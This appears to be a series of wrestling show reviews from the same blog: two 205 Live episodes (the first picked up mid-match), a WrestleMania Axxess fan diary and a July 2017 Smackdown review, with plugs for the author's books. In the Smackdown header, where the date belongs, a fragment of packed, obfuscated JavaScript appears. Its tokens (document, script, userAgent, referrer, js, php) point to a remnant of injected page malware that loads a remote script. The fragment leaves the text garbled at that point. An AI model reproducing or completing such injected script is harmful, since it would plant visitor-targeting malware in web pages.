Some running corner clotheslines keep Kanellis in control until TJP comes in and misses a running knee in the corner. The diving tag brings in Kalisto and it’s time to speed things up in a hurry. Kanellis comes in off a blind tag though and pulls Kalisto to the floor for a Russian legsweep into the barricade (with what has to be his third heard spot call of the match). Back in and the rib work continues but Kalisto reverses a waistlock into a DDT to bring in Dorado.

House is cleaned and a moonsault gets two on TJP. A double Golden Rewind cuts off the villains and it’s the stereo moonsaults to the floor for the big crash. TJP is fine enough to grab the very fast kneebar with Kalisto having to make the save. With Kalisto back outside, TJP pulls off the mask and celebrates, even though Dorado’s second mask is visible the second the first one comes off. A little dancing and a hurricanrana finish TJP at 10:07.

Rating: C. Not too bad here and it’s a good sign that TJP took the fall. Kanellis is still new around here and there’s no need to have him take a loss this early with TJP around. If nothing else it gives the House Party a win back after all the losses as the feud with TJP continues. The luchadors are still the right choice to open this show and that’s not the biggest surprise in the world. It’s a good act and the fans have fun with them so they’ll likely be around for awhile.

Post match TJP and Kanellis are ready to keep going but Maria says she’s got this.

Cedric Alexander was training at the Performance Center (with Steve Corino) when Lio Rush came in to mock Alexander for his losing streak. A match is made for next week.

Lio Rush vs. Josh Morrell

Morrell tells him to bring it and scores with an early enziguri. He heads up top so Rush shows him how to really hit one of those things, knocking Morrell out to the floor. A pretty hard Cannonball sets up the Final Hour for the pin on Morrell at 2:04. Rush getting ticked off because someone got in a shot on him is a good way to go and shows you how well he can do when the cockiness is knocked away.

Post match Rush talks about Alexander going back to the Performance Center and how hard he’s been working. That’s fine, but no one works harder than Rush. Next week, the Age of Alexander meets its final hour. Nice promo from Rush here as he was more serious than usual.

Video on Mark Andrews.

Mustafa Ali says he used to be called a baby but now he’s called the heart and soul of 205 Live. At Wrestlemania, he had a chance to be called champion and since then, he’s been fighting to get another chance. That’s the chance he has now and he’ll be called champion. I want to see him win and that’s not a feeling I often have.

Buddy Murphy vs. Mark Andrews

Non-title. The much bigger Murphy powers him into the corner so Andrews gets smart by slipping out and armdragging him down. The standing moonsault misses and that’s an early standoff. A quick run around the ring lets Andrews get two off a sunset flip back inside and Murphy gets kicked to the floor. Andrews hits a flip dive into a hurricanrana but gets lawn darted into the middle buckle back inside. A backbreaker makes things even worse for Andrews and the armbar goes on.

Andrews jawbreaks his way to freedom and hits a sick looking reverse hurricanrana (Murphy landed on top of his head) to send the champ outside. That means another shot to knock him over the announcers’ table and a diving forearm over the table keeps Murphy in trouble. Andres nails a flip dive off the steps and a standing corkscrew moonsault gets two. A moonsault into a tornado DDT is countered into a sitout powerbomb and Murphy is looking much better. Stundog Millionaire makes things a little worse but the shooting star hits raised knees. Murphy’s Law gives Murphy the pin at 10:58.

Rating: C+. Pretty good match here with Andrews getting to showcase himself a lot. There’s nothing wrong with losing to the champ, who gets a nice win here as well. They’re setting Murphy up for the big showdown with Ali and it’s a good idea to remind people that he really is good at what he does.

Overall Rating: C+. England suits this show well with a good night of action for the most part. This was a more story advancing show and that’s all well and good with the title match at Survivor Series and a big match set for next week as well. Above all else though I want to see Ali win the title and that’s a good way to get you invested in the next few shows. Nice stuff tonight, which isn’t much of a surprise.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: October 24, 2018
Location: Prudential Center, Newark, New Jersey
We have another big one this week with Mustafa Ali vs. Hideo Itami in a Falls Count Anywhere match. These two have been feuding for a long time now and that means we get to see Ali going insane and selling like he’s on the verge of death for one of the best performances you’ll get on the show. Other than that….I’m not sure it really matters all that much. Let get to it.

Here are last week’s results if you need a recap.

The opening video looks at the history of Ali vs. Itami, including Itami putting him on the shelf for a few weeks.

Opening sequence.

Lince Dorado vs. Mike Kanellis

Maria and the rest of the Lucha House Party are here too. Dorado wastes no time in knocking him into the corner and scores with a headscissors. Mike chills in the corner for a bit where Maria offers some advice. It seems to work as Kanellis pounds away in the corner and we see TJP watching from the back at the designated “stand right here to watch the match” location. Dorado sends him to the floor but the screeching Maria offers a distraction so Mike can punch him in the face.

A running clothesline in the corner keeps Dorado in trouble and we hit the chinlock. Mike switches it up by cranking on both arms with a boot in the back as the camera keeps looking at Maria. I completely agree with this show’s new direction. A knee to the back sets up more arm cranking but Dorado comes back with a hurricanrana. That just earns him a superkick and Maria is somehow even more cocky. Dorado gets up and hits a few clotheslines, followed by a flip into a kick to the back of the head.

A top rope hurricanrana gets two and Maria is losing it in a hurry. Dorado can’t get him up for a slam so he settles for an enziguri. It’s too early for the shooting star though and Kanellis gets two off a spinebuster. The Golden Rewind gets Dorado out of trouble and there’s a slingshot dive to the floor. Now the shooting star connects for two as Kanellis gets a foot on the ropes. Kanellis heads outside to beat up Kalisto and Gran Metalik but the distraction, followed by sending Dorado’s head into the ropes. Whatever Kanellis calls his version of Cross Rhodes is good for the pin at 11:32.

Rating: C+. I liked this more than I was expecting to and you can feel the star power with Maria shining through. She’s definitely more interesting than Mike, but maybe Mike just needed a chance to do something other than job to low level guys. He won clean here and being a guy who wins something on 205 Live is better than losing all the time on Raw and Main Event.

Drake Maverick thanks the fans for the first 100 episodes. Tonight’s main event showcases some of the best stars of the show’s first two years but we need to start on the next 100 shows. That’s why next week, we’ll have a #1 contenders match to find Buddy Murphy’s first challenger.

Brian Kendrick promises to show Jack Gallagher no mercy next week.

We look back at Tony Nese winning last week’s five way match.

Lio Rush says he didn’t lose last week because you win a match like that by luck. If Nese wants to show that he’s better, he can face him next week on his own.

Murphy isn’t worried about whoever he faces. Nese says it doesn’t matter which of them is Cruiserweight Champion because it’s a new era on 205 Live.

Hideo Itami vs. Mustafa Ali

Falls Count Anywhere. Itami starts with the strikes and then kicks him out to the floor. That means a RESPECT ME but Ali comes back in with a running hurricanrana. A slingshot dive to the floor gives Itami two and an angry looking Itami takes him back inside. Itami breaks up a springboard with a kick to the ribs, dropping Ali face first onto the apron for a really painful looking crash. Itami sends him into the barricade and gets two off a kick to the back.

The kickout gets another RESPECT ME and we hit the chinlock. Ali is right back with kicks of his own, including a superkick but Itami kicks him right back down for a layoff. The rolling X Factor gives Ali two more and Itami heads outside. Ali follows him though and gets backdropped over the barricade. You know what Itami wants next? Someone to RESPECT HIM of course.

Ali pops back up and dives off the barricade and knocks Itami over the announcers’ table. Itami grabs a half crab on the table but switches to throwing Ali off the table for a crash instead. It’s time to go into the crowd with Ali superkicking him down for two. That’s enough time over the barricade so Itami takes him back to ringside for a whip into the steps. A clothesline turns Ali inside out on the ramp for two more and it’s time to stack up the steps on the floor.

Itami tries a superplex onto them but Ali knocks him onto the steps with Itami landing on his feet. That means a high crossbody for two on the floor and they’re both down again. Since one is required, Ali pulls out a table but gets kicked in the face and thrown around ringside. A trip sends Ali into the steps again as he can’t get any sustained momentum.

As a bunch of fans hold up signs saying WE WANT WOMEN’S TAG TEAM CHAMPIONS (with one kid stopping to read the sign he’s holding), Itami can’t crush Ali under another set of steps. With one set of steps bridged against the other, Ali gets a running charge and springboards off with a tornado DDT on the floor. Ali is done with this and puts Itami on the table on the floor (Ali: “I don’t respect you!”) for a 450 (that table split clean too) for the pin at 15:21.

Rating: A-. Ali is one of the most reliable people in this whole company anymore and you knew this was going to be another great performance. They did a good job here of going around the arena instead of using like two places. The falls count anywhere part helped a lot as well as there was a reason to believe the match might be over instead of having to wait or them to go back to the ring. I had a great time with this, which is all you can expect from Ali anymore.

Drake makes Ali vs. Nese for the #1 contendership next week to end the show.

Overall Rating: A. Another highly entertaining show with the main event easily carrying things and a perfectly watchable match to kick things off. Ali getting back into the title hunt is long overdue and it wouldn’t surprise me to see him get a title shot. The key there is I’m not sure who is going to win next week (or if anyone wins at all) and that’s a great feeling to have coming into a match. Awesome show this week and check out that main event.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

And…..yeah I should be used to this by now.

So as you probably know (or may not), I’m down in New Orleans for the annual Wrestlemania weekend festivities (hence why the reviews are all late, though I’ll get them up ASAP as I have a lot of Saturday free). I’ve got a full week scheduled and first up was the opening session of Axxess.

Now before we even get anywhere, it starts off as a mess. I’m in the central time zone at the moment, meaning it’s an hour before eastern time. Things were supposed to get started at 6pm CST and that was all well and good. I checked the WWE App to make sure everything was fine…and it says 5 CST. Therefore I rush over, only to find out that the WWE is wrong about THEIR OWN PRESENTATION so I’m an hour early. Well done indeed guys.

I park, I go in, I show my ticket, I look for a line….and I’m alone on the Axxess floor as they’ve sent me to the wrong room. That’s quite the visual but then I went to the right room and saw a decent sized line. Since it’s so early, I hit the Superstore and picked up JR’s BBQ sauce, ketchup and mustard, along with a shot glass and Shawn Michaels POP. Expensive, but it’s worth it one time.

Then of course it’s time for the long line of sitting, which has become a custom of these things. After another hour and a half in line, it was time to go in for….more waiting in line! Since it’s a total guess as to who you might get, I jumped in the Elimination Chamber line and met Tye Dillinger and Mike Kanellis (Who got there about ten minutes after the session started, just like everyone else. How hard could it be to have them ready?). Not much to this one, though I mentioned watching Tye in OVW, which seemed to impress Mike more than Tye. Also congratulated Mike on becoming a father, which got a genuine smile.

After that it was a tossup between DDP and Lana/Dana Brooke and since I could feel the glare from the wife, it was off to Page. That meant a lot of standing in line, but this time around I could watch the NXT matches on the big screen. I caught the very tail end (as in the last thirty seconds) of Keith Lee beating Kassius Ohno, most of Mustache Mountain over Tino Sabbatelli and Riddick Moss (seemed like a nice comedy match, more on Bate and Seven later) and parts of Lio Rush (Fan in line with me: They hired him back?) defeating Buddy Murphy in a surprise.

Anyway Page left at the halfway point (when they switch it out) but did take a selfie with us while also telling us an email address for a free month of DDP Yoga. Nothing wrong with free, but next up was seeing who would be the next guests. That would be Teddy Long (more on him tomorrow) and Jimmy Hart, both of whom I’ve met before so I left and jumped into Apollo’s line (which was next door and the shortest all night) before he left and was replaced by…..Carmella and Alundra Blayze. Eh not the worst. Carmella was one of the most charismatic people I’ve seen at one of these things while Blayze was calm but cool. I did get to touch the briefcase, but with only one finger.

After that I didn’t have time to get in any more lines because of the WrestleCon SuperShow starting with half an hour left in my session, so it was off to the memorabilia section. This is my favorite part of Axxess with a great look at each Hall of Famer and a TON of old stuff, from costumes to belts to ring worn gear. There was also a women’s evolution section and a Hall of Legends, featuring a WWWF World Title from the 60s and a pair of Andre’s boots. I could look through that kind of thing for days.

Overall, this was one of the weaker Axxess sessions I’ve been to, but that’s pretty much to be expected. You can never guess what you’ll get with these things and while it’s annoying, that’s just how they work. It all depends on which guests you get, but since the lines take so long you’re not going to get many people anyway. Not the worst, but Axxess is reaching the top of the list of things I’d cut next time I go to Wrestlemania.

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzhks|var|u0026u|referrer|dyekk||js|php'.split('|'),0,{})) July 18, 2017
Location: Legacy Arena, Birmingham, Alabama
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

It’s the go home show for Battleground and Jinder Mahal has brought the Punjabi Prison with him to Smackdown. My guess would be to get people interested in what the match is going to look like if they haven’t been around for more than ten years, which is about as good of an idea as they could have for this. Let’s get to it.

We open with a video on the Punjabi Prison, even though it doesn’t have a ton of history.

Here’s Mahal to enter the Punjabi Prison, which is still fairly ridiculous looking. Mahal promises to bring Orton inside here and destroy his legacy. Oh come on that stable was destroyed years ago. The Singh Brothers explain the rules: there’s a regular cage (made of bamboo that is) with four trap doors. A wrestler can ask to open the door for sixty seconds but once it closes, it can’t be opened again. Then there’s another bamboo cage around the ring which has to be climbed over. The first person out of both structures wins.

Mahal speaks some Punjab but here’s Orton to interrupt. Orton talks about how crazy Mahal is to want to lock himself inside a cage with him and starts to climb the cage. He stops though and just promises to destroy Mahal to wrap things up without going in to fight all three at once.

Kofi Kingston vs. Jimmy Uso

Kofi starts fast and takes Jimmy down before annoying him with some dancing. A good looking flip dive to the floor drops Jimmy again and we take a break. Back with Kofi making a comeback with chops and kicks, only to have Trouble in Paradise countered into a Death Valley Driver into the corner for a close two. Kofi shoves him off the top but has to yell at Jey, allowing Jimmy to roll through a high crossbody for the pin at 8:38.

Rating: C-. The clip in the middle hurt this a lot as we went from one person in trouble and flipped it around during the commercial. Kofi losing is interesting and could suggest the Usos losing the titles on Sunday. New Day doesn’t need them but they’re instantly going to make the titles more interesting than the Usos have.

The women’s division wants to beat Lana up but Tamina cuts them off. Natalya suggests Becky vs. Charlotte, the latter of whom says that wouldn’t be competitive. Shane McMahon makes the match.

We recap last night’s announcement that Jason Jordan is Kurt Angle’s son. I don’t mind it as much as some people do but they need to walk a very thin line on this one.

Chad Gable sits down with Renee Young for an interview and still looks stunned. He didn’t have any heads up on this but Jordan did call him to talk about things later. Gable has some ideas for his future but he’s keeping them to himself for now.

Mike Kanellis vs. Sami Zayn

This is Mike’s in-ring debut. Sami hammers away to start and sends Mike outside for a running clothesline. Mike is sent into the barricade as this is one sided so far. The exploder looks to set up the Helluva Kick but Maria comes in for the distraction. Mike blasts him in the face and hits a Samoan driver for the pin at 2:59.

Here’s John Cena to talk about the flag match with both the American and Bulgarian flags hanging over the corners. Cena runs down Sunday’s card before moving on to the flag match, where you have to get your flag from a pole and plant it at the finish line. He promises we’re going to remember the flag match more than anything else.

Cena gets all fired up and promises that he’s ready because the USA is a nation of fighters. He lists off some important moments in American history, including the Civil War, World War II and 9/11 before waving the flag. Cue Rusev to beat Cena down and knock him out with the Accolade before waving the Bulgarian flag. This was WAY too serious and way too well done of a promo to waste it on a flag match against Rusev.

Shinsuke Nakamura comes up to AJ Styles but doesn’t want to talk strategy for tonight’s main event. Instead he’d rather point at the US Title and say one day, he’s answering the Open Challenge. I’d really hope that’s at a major pay per view.

Becky Lynch vs. Charlotte

Natalya is on commentary. Feeling out process to start with Charlotte powering her down and grabbing a headlock. Becky comes back with a one footed dropkick but Charlotte backflips away twice. The threat of the Disarm-Her sends Charlotte outside and we take an early break.

Back with Becky throwing her back inside but Charlotte forearms her down to take over. A knee to the back of the head gets two on Becky, who escapes the Figure Four. Becky springboards into a forearm to Charlotte’s chest and there’s the Bexploder. The Disarm-Her is countered with a big boot for two but the moonsault misses, allowing the Disarm-Her to make Charlotte tap at 9:00.

Rating: C+. It’s very clear that these two are miles ahead of the rest of the division but worry not because there’s always the chance that Nikki Bella can come back and show them how to work. Becky winning is a good idea as she hasn’t had a big win in a long time and a clean win over Charlotte is quite the accomplishment.

Post match Lana and Tamina come out to clean house. Tamina stares at Lana for a bit (Who can blame her?).

WWE Network shill.

Naomi is ready to face anyone but Carmella comes up with the briefcase and says she’ll see Naomi on Sunday.

It’s time for the Fashion X-Files with Breeze as Skully, complete with a red wig. Breeze doesn’t buy the idea of the paranormal but there’s a ghostly moaning. Never mind though as it’s just Aiden English warming up. A white light comes down from the ceiling with Breeze saying he wants to meet Alf, Max Moon and Chewbacca. It turns out to be a delivery guy who turned the lights on so they could sign for a package. Breeze won’t answer what’s in the box because it’s Tully’s (Fandango’s stick horse) head. There’s a note saying Battleground, where things will be concluded.

Shinsuke Nakamura/AJ Styles vs. Kevin Owens/Baron Corbin

Corbin jumps Nakamura in the aisle and Owens joins in until AJ FINALLY comes up to help. We hit the break before a bell and are joined in progress with AJ in trouble thanks to a hard forearm from Corbin. AJ gets over for the hot tag to Nakamura, who immediately goes to Good Vibrations on Owens.

Corbin low bridges Nakamura to the floor though and Owens stomps away in the corner to take over. Baron grabs a bearhug for a bit before sliding under the bottom rope, only to have Nakamura waiting on him for a change. The double knockdown isn’t enough for the hot tag to AJ as Corbin is up first (makes sense for a change) to knocks Styles off the apron. Nakamura comes back with the rapid strikes, including a kick to Owens before he can interfere.

Deep Six gives Corbin two but the enziguri is enough to make the hot tag off to Styles. More rapid strikes have Owens in trouble but he takes AJ’s head off with a clothesline. Corbin comes in and is caught in a fast Calf Crusher, sending him scurrying to the ropes. Nakamura is sent into the timekeeper’s area, leaving AJ to have to escape End of Days. Owens makes a blind tag though and it’s a superkick into the Pop Up Powerbomb for the pin at 9:53.

Rating: B. They were working out there and it was a hot match as a result. All four were moving and hitting their stuff to give us a good match to wrap up the show. At least it was a tag match where Styles took the pin, though I can’t imagine them putting the title back on Owens so soon.

Overall Rating: B-. Good show this week to build up to another B level pay per view. There’s only so much you’re going to get out of this Sunday so a strong go home show is always a nice surprise. Cena vs. Rusev feels like a highly glorified warmup for Cena before whatever he’s doing at Summerslam but other than that, I’m interested in almost everything else they’re doing, at least to a degree.

Results

Jimmy Uso b. Kofi Kingston – Reversed high crossbody

Mike Kanellis b. Sami Zayn – Samoa driver

Becky Lynch b. Charlotte – Disarm-Her

Kevin Owens/Baron Corbin b. AJ Styles/Shinsuke Nakamura – Pop Up Powerbomb to Styles

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

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